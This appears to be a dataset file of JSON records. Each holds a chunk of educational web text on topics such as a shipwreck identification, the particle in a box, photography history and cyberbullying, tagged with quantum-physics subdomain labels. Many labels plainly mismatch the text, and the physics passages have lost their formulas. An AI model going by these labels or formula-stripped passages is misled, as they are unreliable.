hospitals financial incentives to adopt electronic health records and share patients ' information. developers of aging technology, encouraged by such prospects, hope that their inventions will be the next household musts. each year, the american association of homes and services for the aging holds an exposition that attracts thousands to see the latest technologies. alwan is most excited about the exercise coach robot, among the technologies to be unveiled at the los angeles expo in november. a pilot project of the university of southern california and southern california presbyterian homes, the robot will provide older exercisers with coaching to encourage them to remain physically active. eventually, if the concept of an electronic coach catches on, an easily replicated avatar will give instructions from a computer screen instead. even in 2029, however, health care will still involve face - to - face interactions between providers and patients. \" these shouldn ' t be considered replacements, \" alwan says. the new aging technologies are a way \" to increase the efficiency of available professional caregivers, and to provide additional support to the older adults and their caregivers. \" nushin rashidian is a fellow of news21, a national foundation - supported initiative to promote innovation in journalism, at columbia university graduate school of journalism. news21 fellow connor boals contributed reporting.", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4426477465961063, "token_count": 440, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.255219"} {"text": "noaa ' s office of national marine sanctuaries has identified the remains of an early 20th century shipwreck in florida keys national marine sanctuary to be those of the british steamship hannah m. bell. information gathered by sanctuary staff and volunteers from the national association of black scuba divers ( nabs ) during a september field survey enabled maritime archaeologists to confirm the wreck ' s origins. \" similar to the way detectives use forensic information to solve a crime, we compared the dimensions and construction characteristics of the shipwreck known locally as \u2018 mike ' s wreck ' with historic shipping records in order to solve this mystery, says matthew lawrence, stellwagen bank national marine sanctuary maritime archaeologist and project principal investigator. \" measurements of the shipwreck and the records for hannah m. bell were virtually identical, as were the reported sinking location and the actual location of the wreck. \" according to noaa, the hannah m. bell was a 315 - foot steel - hulled steamship built by ropner and son in england in 1893 and named for the woman who christened it. the hannah m. bell traveled between european ports, the u. s. east and gulf coasts, and caribbean and south american ports transporting a variety of bulk cargos including cotton, sugar and coal. noaa says that no lives were lost when the ship sunk. it was loaded with coal bound for vera cruz, mexico. salvagers abandoned their efforts days after grounding because the ship ' s engine room was flooded and the holds were filled with water. the shallow coral reefs of the florida keys have claimed countless ships over the centuries. according to noaa, the hannah m. bell rests in close proximity to two other shipwrecks \u2014 the uss arkansas and city of washington. the hannah m. bell even contributed to the loss of another vessel in 1920 when the u. s. shipping board steamer quoque wrecked directly on top of its sunken remains. please tell us about any errors you find in our stories. copy the page address above before clicking on this link to fill out the form. to simply comment on a story you ' ve seen, email firstname. lastname @ example. org. more > > we take all of the elements of our stories seriously. please tell us about any errors you find. copy the page address above before clicking on this link to fill out the form. if you ' re looking to comment on a story you ' ve seen or read, email that to email @ example. com. more > > 3719 central avenue fort myers", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4270714450245303, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.259017"} {"text": "in quantum mechanics quantum mechanics, also known as quantum physics or quantum theory, is a branch of physics providing a mathematical description of much of the dual particle - like and wave - like behavior and interactions of energy and matter. it departs from classical mechanics primarily at the atomic and subatomic..., the particle in a box model ( also known as the infinite potential well or the infinite square well ) describes a particle free to move in a small space surrounded by impenetrable barriers. the model is mainly used as a hypothetical example to illustrate the differences between classical what \" classical physics \" refers to depends on the context. when discussing special relativity, it refers to the newtonian physics which preceded relativity, i. e. the branches of physics based on principles developed before the rise of relativity and quantum mechanics... and quantum systems. in classical systems, for example a ball trapped inside a heavy box, the particle can move at any speed within the box and it is no more likely to be found at one position than another. however, when the well becomes very narrow ( on the scale of a few nanometers ), quantum effects become important. the particle may only occupy certain positive energy levels. likewise, it can never have zero energy, meaning that the particle can never \" sit still \". additionally, it is more likely to be found at certain positions than at others, depending on its energy level. the particle may never be detected at certain positions, known as spatial nodes. the particle in a box model provides one of the very few problems in quantum mechanics which can be solved analytically, without approximations. this means that the observable properties of the particle ( such as its energy and position ) are related to the mass of the particle and the width of the well by simple mathematical expressions. due to its simplicity, the model allows insight into quantum effects without the need for complicated mathematics. it is one of the first quantum mechanics problems taught in undergraduate physics courses, and it is commonly used as an approximation for more complicated quantum systems. see also : the history of quantum mechanics the history of quantum mechanics, as it interlaces with the history of quantum chemistry, began essentially with a number of different scientific discoveries : the 1838 discovery of cathode rays by michael faraday ; the 1859 - 1860 winter statement of the black body radiation problem by gustav... the simplest form of the particle in a box model considers a one - dimensional system. here, the particle may only move backwards and forwards along a straight line with", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.7823607825062284, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.273375"} {"text": "; the 1859 - 1860 winter statement of the black body radiation problem by gustav... the simplest form of the particle in a box model considers a one - dimensional system. here, the particle may only move backwards and forwards along a straight line with impenetrable barriers at either end. the walls of a one - dimensional box may be visualised as regions of space with an infinitely large potential energy in physics, potential energy is the energy stored in a body or in a system due to its position in a force field or due to its configuration. the si unit of measure for energy and work is the joule.... conversely, the interior of the box has a constant, zero potential energy. this means that no forces act upon the particle inside the box and it can move freely in that region. however, infinitely large force in physics, a force is any influence that causes an object to undergo a change in speed, a change in direction, or a change in shape. in other words, a force is that which can cause an object with mass to change its velocity, i. e., to accelerate, or which can cause a flexible object to deform... s repel the particle if it touches the walls of the box, preventing it from escaping. the potential energy in this model is given as is the length of the box and is the position of the particle within the box. in quantum mechanics, the wavefunction not to be confused with the related concept of the wave equationa wave function or wavefunction is a probability amplitude in quantum mechanics describing the quantum state of a particle and how it behaves. typically, its values are complex numbers and, for a single particle, it is a function of... gives the most fundamental description of the behavior of a particle ; the measurable properties of the particle ( such as its position, momentum and energy ) may all be derived from the wavefunction. can be found by solving the schrodinger equation the schrodinger equation was formulated in 1926 by austrian physicist erwin schrodinger. used in physics, it is an equation that describes how the quantum state of a physical system changes in time.... for the system is the reduced planck constant, is the mass mass can be defined as a quantitive measure of the resistance an object has to change in its velocity. in physics, mass commonly refers to any of the following three properties of matter, which have been shown experimentally to be equivalent :...", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.733005737459173, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.274450"} {"text": "can be defined as a quantitive measure of the resistance an object has to change in its velocity. in physics, mass commonly refers to any of the following three properties of matter, which have been shown experimentally to be equivalent :... of the particle, is the imaginary unit in mathematics, the imaginary unit allows the real number system \u211d to be extended to the complex number system, which in turn provides at least one root for every polynomial. the imaginary unit is denoted by,, or the greek... inside the box, no forces act upon the particle, which means that the part of the wavefunction inside the box oscillates through space and time with the same form as a free particle in physics, a free particle is a particle that, in some sense, is not bound. in classical physics, this means the particle is present in a \" field - free \" space. - classical free particle : the classical free particle is characterized simply by a fixed velocity... are arbitrary complex number a complex number is a number consisting of a real part and an imaginary part. complex numbers extend the idea of the one - dimensional number line to the two - dimensional complex plane by using the number line for the real part and adding a vertical axis to plot the imaginary part... s. the frequency of the oscillations through space and time are given by the wavenumber in the physical sciences, the wavenumber is a property of a wave, its spatial frequency, that is proportional to the reciprocal of the wavelength. it is also the magnitude of the wave vector... and the angular frequency in physics, angular frequency \u03c9 is a scalar measure of rotation rate. angular frequency is the magnitude of the vector quantity angular velocity... respectively. these are both related to the total energy of the particle by the expression which is known as the dispersion relation in physics and electrical engineering, dispersion most often refers to frequency - dependent effects in wave propagation. note, however, that there are several other uses of the word \" dispersion \" in the physical sciences.... for a free particle. the size ( or amplitude amplitude is the magnitude of change in the oscillating variable with each oscillation within an oscillating system. for example, sound waves in air are oscillations in atmospheric pressure and their amplitudes are proportional to the change in pressure during one oscillation... ) of the wavefunction at a given position", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.6976712592638641, "token_count": 511, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.275393"} {"text": "oscillating system. for example, sound waves in air are oscillations in atmospheric pressure and their amplitudes are proportional to the change in pressure during one oscillation... ) of the wavefunction at a given position is related to the probability of finding a particle there by. the wavefunction must therefore vanish everywhere beyond the edges of the box. also, the amplitude of the wavefunction may not \" jump \" abruptly from one point to the next. these two conditions are only satisfied by wavefunctions with the form is a positive, whole number. the wavenumber is restricted to certain, specific values given by is the size of the box. negative values of are neglected, since they give wavefunctions identical to the positive solutions except for a physically unimportant sign change. finally, the unknown constant may be found by normalizing the wavefunction so that the total probability density of finding the particle in the system is 1. it follows that may be any complex number with absolute value in mathematics, the absolute value | a | of a real number a is the numerical value of a without regard to its sign. so, for example, the absolute value of 3 is 3, and the absolute value of - 3 is also 3... \u221a ( 2 / l ) ; these different values of a yield the same physical state, so a = \u221a ( 2 / l ) can be selected to simplify. the energies which correspond with each of the permitted wavenumbers may be written as the energy levels increase with, meaning that high energy levels are separated from each other by a greater amount than low energy levels are. the lowest possible energy for the particle ( its zero - point energy zero - point energy is the lowest possible energy that a quantum mechanical physical system may have ; it is the energy of its ground state. all quantum mechanical systems undergo fluctuations even in their ground state and have an associated zero - point energy, a consequence of their wave - like nature... ) is found in state 1, which is given by the particle, therefore, always has a positive energy. this contrasts with classical systems, where the particle can have zero energy by resting motionless at the bottom of the box. this can be explained in terms of the uncertainty principle in quantum mechanics, the heisenberg uncertainty principle states a fundamental limit on the accuracy with which certain pairs of physical properties of a particle, such as position and momentum, can be simultaneously known..., which states that the product", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.699034852147776, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.276387"} {"text": "the uncertainty principle in quantum mechanics, the heisenberg uncertainty principle states a fundamental limit on the accuracy with which certain pairs of physical properties of a particle, such as position and momentum, can be simultaneously known..., which states that the product of the uncertainties in the position and momentum of a particle is limited by it can be shown that the uncertainty in the position of the particle is proportional to the width of the box. thus, the uncertainty in momentum is roughly inversely proportional to the width of the box. the kinetic energy of a particle is given by, and hence the minimum kinetic energy of the particle in a box is inversely proportional to the mass and the square of the well width, in qualitative agreement with the calculation above. in classical physics, the particle can be detected anywhere in the box with equal probability. in quantum mechanics, however, the probability density for finding a particle at a given position is derived from the wavefunction as for the particle in a box, the probability density for finding the particle at a given position depends upon its state, and is given by thus, for any value of n greater than one, there are regions within the box for which, indicating that spatial nodes exist at which the particle cannot be found. in quantum mechanics, the average, or expectation value of the position of a particle is given by for the steady state particle in a box, it can be shown that the average position is always, regardless of the state of the particle. for a superposition of states, the expectation value of the position will change based on the cross term which is proportional to if a particle is trapped in a two - dimensional box, it may freely move in the - directions, between barriers separated by lengths respectively. using a similar approach to that of the one - dimensional box, it can be shown that the wavefunctions and energies are given respectively by where the two - dimensional wavevector is given by for a three dimensional box, the solutions are where the three - dimensional wavevector is given by an interesting feature of the above solutions is that when two or more of the lengths are the same ( e. g. ), there are multiple wavefunctions corresponding to the same total energy. for example the wavefunction with has the same energy as the wavefunction with. this situation is called degeneracy in physics, two or more different quantum states are said to be degenerate if they are all at the same energy level. statistically this means that they are", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.7443883753783194, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.277665"} {"text": "same energy as the wavefunction with. this situation is called degeneracy in physics, two or more different quantum states are said to be degenerate if they are all at the same energy level. statistically this means that they are all equally probable of being filled, and in quantum mechanics it is represented mathematically by the hamiltonian for the system having more... and for the case where exactly two degenerate wavefunctions have the same energy that energy level is said to be doubly degenerate. degeneracy results from symmetry in the system. for the above case two of the lengths are equal so the system is symmetric with respect to a 90\u00b0 rotation. because of its mathematical simplicity, the particle in a box model is used to find approximate solutions for more complex physical systems in which a particle is trapped in a narrow region of low electric potential in classical electromagnetism, the electric potential at a point within a defined space is equal to the electric potential energy at that location divided by the charge there... between two high potential barriers. these quantum well a quantum well is a potential well with only discrete energy values. one technology to create quantization is to confine particles, which were originally free to move in three dimensions, to two dimensions, forcing them to occupy a planar region... systems are particularly important in optoelectronics optoelectronics is the study and application of electronic devices that source, detect and control light, usually considered a sub - field of photonics. in this context, light often includes invisible forms of radiation such as gamma rays, x - rays, ultraviolet and infrared, in addition to visible light..., and are used in devices such as the quantum well laser a quantum well laser is a laser diode in which the active region of the device is so narrow that quantum confinement occurs. the wavelength of the light emitted by a quantum well laser is determined by the width of the active region rather than just the bandgap of the material from which it is..., the quantum well infrared photodetector a quantum well infrared photodetector, is an infrared photodetector made from semiconductor materials which contain one or more quantum wells. these can be integrated together with electronics and optics to make infrared cameras for thermography. a very common well material is gallium arsenide,... and the quantum - confined stark effect the quantum - confined stark effect describes the effect of", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.7160582665950056, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.278860"} {"text": "these can be integrated together with electronics and optics to make infrared cameras for thermography. a very common well material is gallium arsenide,... and the quantum - confined stark effect the quantum - confined stark effect describes the effect of an external electric field upon the light absorption spectrum or emission spectrum of a quantum well. in the absence of an external electric field, electrons and holes within the quantum well may only occupy states within a discrete set... the probability density does not go to zero at the nodes if relativistic effects are taken into account. - finite potential well the finite potential well is a concept from quantum mechanics. it is an extension of the infinite potential well, in which a particle is confined to a box, but one which has finite potential walls. unlike the infinite potential well, there is a probability associated with the particle being found... - delta function potential - gas in a box in quantum mechanics, the results of the quantum particle in a box can be used to look at the equilibrium situation for a quantum ideal gas in a box which is a box containing a large number of molecules which do not interact with each other except for instantaneous thermalizing collisions... - particle in a ring in quantum mechanics, the case of a particle in a one - dimensional ring is similar to the particle in a box. the schrodinger equation for a free particle which is restricted to a ring is... - particle in a spherically symmetric potential - quantum harmonic oscillator the quantum harmonic oscillator is the quantum - mechanical analog of the classical harmonic oscillator. because an arbitrary potential can be approximated as a harmonic potential at the vicinity of a stable equilibrium point, it is one of the most important model systems in quantum mechanics... - delta potential well ( qm ) the delta potential is a potential that gives rise to many interesting results in quantum mechanics. it consists of a time - independent schrodinger equation for a particle in a potential well defined by a dirac delta function in one dimension.... - semicircle potential well - configuration integral ( statistical mechanics )", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.7102584485845007, "token_count": 437, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.280739"} {"text": "about snowflakes : snow is a form of precipitation. rising warm air carries water vapor high into the sky, where it cools and condenses into water droplets. some vapor freezes into tiny ice crystals, which can attract cooled water drops to form snowflakes. as snowflakes fall, they may meet warmer air and melt into raindrops, unless temperatures are below freezing close to the ground : then we get snow. a snow crystal is a single crystal of ice. it usually forms the shape of a hexagonal prism, but as the crystals grow, branches sprout from the corners, creating more complex shapes. conditions such as temperature and humidity in the atmosphere can influence a snowflake ' s shape. what ' s the forecast : weather forecasting is the application of science and technology to predict the state of the atmosphere for a future time and a given location. humankind has attempted to predict the weather since ancient times. for millennia people have tried to forecast the weather. in 650 bc, the babylonians predicted the weather from cloud patterns. in about 340 bc, aristotle described weather patterns in meteorologica. chinese weather prediction lore extends at least as far back as 300 bc. ancient weather forecasting methods usually relied observed patterns of events. for example, it might be observed that if the sunset was particularly red, the following day often brought fair weather. this experience accumulated over the generations to produce weather lore. today, weather forecasts are made by collecting data about the current state of the atmosphere and using computer models of the atmospheric processes to project how the atmosphere will evolve. the american meteorological society, the american mathematical society, the mathematical association of america, the american statistical association and the society for industrial and applied mathematics contributed to the information contained in the tv portion of this report.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5436142762443048, "token_count": 366, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.282613"} {"text": "can we stop a nuke? from the impossible dream of a space - based shield, missile defense has come down to earth. but will it work? - by ben iannotta - air & space magazine, may 2007 missile defense agency ( page 4 of 7 ) until new sensors are created, finding the real warheads among the decoys requires a shotgun approach : \u201c if i can \u2019 t discriminate what \u2019 s a decoy and what \u2019 s a warhead, i have to launch interceptors at both of those objects, \u201d obering says. but in september 2006, the goal was to direct a single kill vehicle to a single target warhead, using upgraded tracking radar at beale air force base in california. the beale radar was built during the cold war to bounce radar waves off incoming soviet missiles with just enough fidelity to tell the president : \u201c we have a missile and it \u2019 s going to impact in the new york or chicago area, \u201d obering says. during the hiatus between launches, the missile agency put engineers and software experts to work installing new computer processors and software to enable the cold war radar to track objects with greater precision. similar work is under way at the fylingdale early - warning radar installation in england, enabling it to track missiles that might be launched westward from iran. new sea - based platforms will supplement the early - warning radars. the more eyes available, the better, say planners. the beale radar upgrades were but one of many technical goals of september \u2019 s test. an underlying goal was to restore confidence in the missile agency itself. obering \u2019 s reputation was riding on the 55 - foot - long missile streaking across the pacific, receiving guidance ( he hoped ) from the radar at beale. as the witnesses watched, the red and blue lines of the missile flight paths closed in on each other. suddenly, 23 minutes and 20 seconds into the test, the altitude and velocity numbers froze. through an audio link obering could hear the jubilant reaction inside the fire control room at schriever air force base near colorado springs. \u201c everybody started screaming, \u201d he says. \u201c we knew we had achieved the intercept. \u201d although obering told reporters that the test showed the united states now had a \u201c good \u201d chance of shooting down a north korean missile, marine corps general james e. \u201c hoss \u201d cartwright, as head of u. s. strategic command \u2014 the man responsible for defending the united states against a missile attack \u2014 sounds less convinced of the chances for a real -", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.47902672505640437, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.285230"} {"text": "history of photography a thumbnail sketch by : andrew j. morris, copyright 1989, all rights reserved it is not our aim to describe here the complex development of the science of photography in its entirety, there are a great number of books available on that subject. it is necessary however, to have some understanding of the - basic developments in the field of photography, if we are to understand the circumstances under which historic photographs were made. this brief outline will give the general background, rather than minute details, of the chemical / mechanical aspects of picture taking. the camera existed long before the first photograph. the camera - obscura was a device that captured light and produced a focused image. initially working on the \" pinhole \" principal, and later incorporating lenses, these early box cameras were used by artists, who could trace the images to create drawings with accurate perspective. the first commercially successful photographic processes were based on an amazing property of silver nitrate, a chemical that turns from a light silvery gray to black when exposed to light. this strange property was observed long before the first photographs were made. some experimenters reasoned that a sheet of paper, glass, or other material, coated with silver nitrate and exposed to light and shadow would develop an image as the parts of the silver nitrate exposed to light turned black. the only problem was, when such an image was brought out into the light to look at it, the parts of the silver nitrate that had not been exposed to light soon turned black, eradicating the image. in daguerre ' s process, the product of which soon came to be called a daguerreotype, a silver plated copper plate was polished to a mirror sheen. after being treated with chemicals to produce a light sensitive surface, the plate was exposed in a camera, then further treated to fix the image. thus, a one of a kind image was created directly in the camera. although it is actually a negative image ( and hence laterally reversed ), the daguerreotype appears positive when held at the proper angle, so that the mirror - like background reflects a dark surface, leaving the silver nitrate image relatively lighter. these images are the sharpest and clearest of any old photographic method. the french government purchased the rights to this process from daguerre, and gave it freely to the world. talbot ' s process, called the talbotype or later refined as the calotype, was much more like the process we would recognize today. talbot used silver nitrate salts in a solution. a sheet of paper was soaked", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5634306688150834, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.294574"} {"text": "gave it freely to the world. talbot ' s process, called the talbotype or later refined as the calotype, was much more like the process we would recognize today. talbot used silver nitrate salts in a solution. a sheet of paper was soaked in the solution, then exposed in the camera and treated to fix the image. this produced a negative image, which could then be reproduced indefinitely by placing the negative on top of another sensitized sheet, and shining light through the negative. the dark portions, where light had turned the silver nitrate black, blocked the light, and the lighter portions transmitted the light, creating a positive image on the copy. talbot patented his process, and sold the rights to others wishing to make pictures. because of the paper base used in the negative, the image produced by this process was much less sharp than the daguerreotype, and due to that fact, together with the additional expense created by the licensing process, this method was much less popular than the daguerreotype, especially outside of england. the next major development was the introduction of the glass plate negative, which used a coating of colloidian to hold the silver nitrate on the surface of a glass plate. the clear glass overcame the fuzziness of the calotype, and still allowed multiple copies of each picture, using the glass plate negative to make paper prints. introduced in 1847, by 1860 this was the dominant method of photography in use. the plate had to be used immediately after the colloidian was applied, before it dried, so this process was known as wet plate photography. in 1854, an offspring of the wet plate method was introduced to compete with the daguerreotype, the new form being called an ambrotype. in this process, a glass plate was again used. by mounting the negative image in a case with a black backing, it could be viewed as a positive image. this form was quite popular from 1855 to about 1870. the tintype was introduced in 1856. here, the photographic emulsion - the material carrying the unexposed silver nitrate - was spread thinly over the face of a thin plate of tinned iron that was \" japped \" to blacken the surface before the emulsion was applied. the practical effect was similar to the ambrotype, the black background making the negative image appear positive. the tintype could be produced very inexpensively, and was much more sturdy than the ambrotype, so this method continued to be used until about 1900. the next major development in photography was", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5171960601919466, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.296829"} {"text": ", the black background making the negative image appear positive. the tintype could be produced very inexpensively, and was much more sturdy than the ambrotype, so this method continued to be used until about 1900. the next major development in photography was the \" dry plate \" negative, which made picture taking much less cumbersome. a colloidion dry plate was invented in 1855 and used commercially between 1864 and 1880, but it never became very popular. the gelatin dry plate was invented in 1871, and by 1880 supplanted not only the colloidion dry plate, but the old colloidion wet plate as well. these convenient dry plates continued in use until about 1920 when they were replaced by the plastic based films. there were through these years a number of developments in the types and characteristics of papers used to print photographs from glass plates. the salted paper, in which regular paper was impregnated with sodium nitrate and silver salts to form silver nitrate, was used from 1839 ( this was the kind of paper talbot used ) into the 1860 ' s, though with diminishing popularity. it was replaced by coated papers, where the paper served as a backing for a sensitive emulsion, much as glass served to hold similar emulsions for negatives. in albumen paper, the emulsion was made from egg whites, which were found to be a suitable medium in that it held the silver nitrate evenly dispersed, adhered to the paper well, and dried clear. invented in 1850, the albumen paper soon replaced salted paper and continued in use until about the turn of the century, when it in turn was replaced, this time by bromide paper. other papers were tried and enjoyed some limited success, but because of greater expense or difficulty of use, they were never widely used. carbon prints were developed as early as 1855, and continued in sporadic use until modern times. because of the difficulties involved in their use they are more often found among \" art \" photographs than in general use. instead of relying on the photosensitive characteristics of silver nitrate, carbon prints used a gelatin emulsion that hardened slightly when exposed to light. after exposure the paper is washed in running water to remove the softer gelatin, leaving the image. the gelatin was usually colored with lamp black ( carbon ) which gave rise to the name. platinum paper is similar to silver nitrate papers, except platinum replaces the silver, creating a different tone in the image and increasing greatly the expense of the paper. prior to the turn of", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.49691310717208304, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.298010"} {"text": "colored with lamp black ( carbon ) which gave rise to the name. platinum paper is similar to silver nitrate papers, except platinum replaces the silver, creating a different tone in the image and increasing greatly the expense of the paper. prior to the turn of the century the papers used in photography were generally very thin. these pictures were usually pasted onto cardboard mounts to make them more durable and to prevent curling. the size and character of these mounts offer some clues to the age of a photograph. they are important too because many photographers printed the name and address of their business on the backs, providing more clues to the provenience of the pictures attached. occasionally, thoughtful owners even wrote identifying information on the back of these. stereo photographs were introduced in 1849 and became popular in europe by 1854 and the u. s. by 1858. these consist of two photographs mounted side by side, showing the same subject from just slightly different perspectives, so that when viewed through a \" stereoscope \" the image appears three dimensional. there were stereo daguerreotypes, ambrotypes, etc., but these are rare, the vast majority of surviving stereoviews being card mounted prints. stereo photographs continued to be popular well into this century. the hyalotype, a glass plate positive, was developed in the 1850 ' s, but it was not until the mid 1870 ' s that they became widely available as \" magic lantern slides. \" these were capable of being projected onto a screen or wall from a machine called a magic lantern or stereopticon, which passed a bright beam of light through the slide and an enlarging lens. the name stereopticon is a confusing misnomer, since these had nothing to do with stereo photography, but were an early form of the slide projector, which in time was developed into the motion picture projector as well. developing mechanical means for printing photographs with a printing press or lithograph was a major concern of 19th century inventors. finally, about 1870 a practical means of photomechanical reproduction became available, but it was not very good at reproducing the gray shades. then, about 1880, the halftone method was perfected, allowing accurate reproduction of photographs at reasonable cost and giving rise to many illustrated magazines and newspapers. initially, photographs were limited in size by the size of the camera and photographic plate. one of a kind photos like daguerreotypes were of course the size of the plate used to make them. with glass plates, the print was produced by placing the", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5320294874718255, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.298993"} {"text": "photographs were limited in size by the size of the camera and photographic plate. one of a kind photos like daguerreotypes were of course the size of the plate used to make them. with glass plates, the print was produced by placing the plate against a sheet a paper and letting light pass through the negative, producing a photo exactly the same size as the negative. a process for enlarging prints was invented in the late 1850 ' s but it was not until almost 1880 that it became widely available. the magic of photography caught the popular imagination as soon as it became known and available. by 1853 there were 86 photographic studios in new york city each churning out hundreds of portraits every sunny day. there were over 400, 000 daguerreotype plates produced in massachusetts alone in 1855. by 1873 there were an estimated 5, 250 photographers in the u. s. but it was not until the introduction of the kodak camera in 1888 that the practice of taking pictures began to reach the masses. the eastman kodak company introduced an innovation that made photography accessible to the average person - they did the developing and printing, all the user had to do was take the picture! prior to that time, all photographs were taken either by professional photographers or very dedicated amateurs who were willing to go through the entire tedious and difficult process. after 1888 almost every aspect of everyday life became subject to photographic recordation, and a boom that goes on even today was born. with the coming of the 20th century photography has advanced by leaps and bounds. the first film was developed late in the 19th century, made of a dried gelatin. this film was very fragile and did not gain widespread popularity. then in 1889 a nitrate based, plastic roll film was developed. due to a tendency to curl, this film also lacked popularity, but in 1903 a non - curling variety was developed, and began to be widely used, and in 1913 the film became available in sheet form and began to compete with the glass plate negative, which it eventually supplanted. even the new moving pictures were filmed on nitrate film. the only problem was, the nitrate film was very flammable, and when burned gave off a poisonous gas. safety film, a non flammable plastic based film was developed in 1939 and soon replaced sheet and roll nitrate film for still photographs, and in another ten years in movie film as well. the photographic papers in use in this century tend to be sturdier than those of earlier years, so the practice of pasting them to cardboard mounts", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5031618750317608, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.300033"} {"text": "sheet and roll nitrate film for still photographs, and in another ten years in movie film as well. the photographic papers in use in this century tend to be sturdier than those of earlier years, so the practice of pasting them to cardboard mounts was mostly dropped. professional photographers still used cardboard backings, sometimes folding cards that covered the front of the photo as well and could serve as a stand, but the picture was just slipped into slots in the mount, or tacked lightly in one spot to hold it in place. other twentieth century developments have been color film, plastic transparencies ( such as slides ), and instant photography - film that develops itself just moments after the picture is taken. now moving pictures are being digitized and recorded on tape ( vcr ' s ) and almost every home has at least one camera. satellites take pictures of earth from far out in space, and every doctor ' s office is equipped with x - ray equipment to take pictures of inner space. photography has advance so far that we often take it for granted, and find it hard to imagine the wonder with which the invention was greeted 150 years ago. photographs have become so ubiquitous and little valued that they are often disposed of out of hand. we forget that these images of the past are irreplaceable - that moment is gone forever, only its image remains. let ' s see if we can ' t manage to preserve some of those captured moments for the future. this brief overview of the history of photography touches only on the mainstream trends and important contributions. photographs have been made on ivory and leather, and by methods and means not mentioned here, but this is not intended as an exhaustive compilation of every path photographic science has followed, but as a general introduction to the broad overview of photographic history. an understanding of this history can help one date and identify old pictures, and better appreciate their irreplaceable nature. for a more detailed history of photography, you should see the absolute classic work on the subject history of photography by beaumont newhall. and for an entertaining look at the world ' s greatest photographic museum, along with a comprehensive view of the history of photography from daguerreotype to modern digital technology, take a look at photography from 1839 to today : george eastman house, rochester ny edited by william s. johnson, mark rice, carla williams, and therese mulligan. and finally, for a comprehensive and up - to - date guide to pretty much all that is known about the historical development of photography, see the he", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5271984281568538, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.301122"} {"text": "cyberbullying \u2013 a pre - teen or teen teasing, humiliating, threatening or targeting another using digital media such as facebook or texting \u2013 is a troubling social phenomenon receiving much attention in the news media lately. albert wisner public library will offer a program on cyberbullying on wednesday, november 17th from 6 : 30 - 7 : 50pm in the storytime room, off the children ' s room. the program will be led by denyse altman variano and suzan sussman, educators for cornell cooperative extension \u2013 orange county, in the area of human development & family studies. working in close coordination with orange county early childhood centers, schools, health and human service agencies, the faith community, area businesses and service organizations, denyse and suzan offer prevention - based education programs and training to individuals, families and educators. this program will be an interactive presentation, including videos designed for teens and group discussion. topics covered will include causes and consequences of cyberbullying ; how to prevent it ; how to handle it if it occurs ; teens \u2019 and parents \u2019 roles in addressing it effectively. all interested adults and teens of the warwick valley central school district are invited. please register by calling the library \u2019 s help desk at 986 - 1047, ext. 3, or by stopping by the help desk at the library.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.49547662998779674, "token_count": 275, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.302527"} {"text": "( ara ) \u2013 the clean water act was established 40 years ago with the goal of protecting waterways and 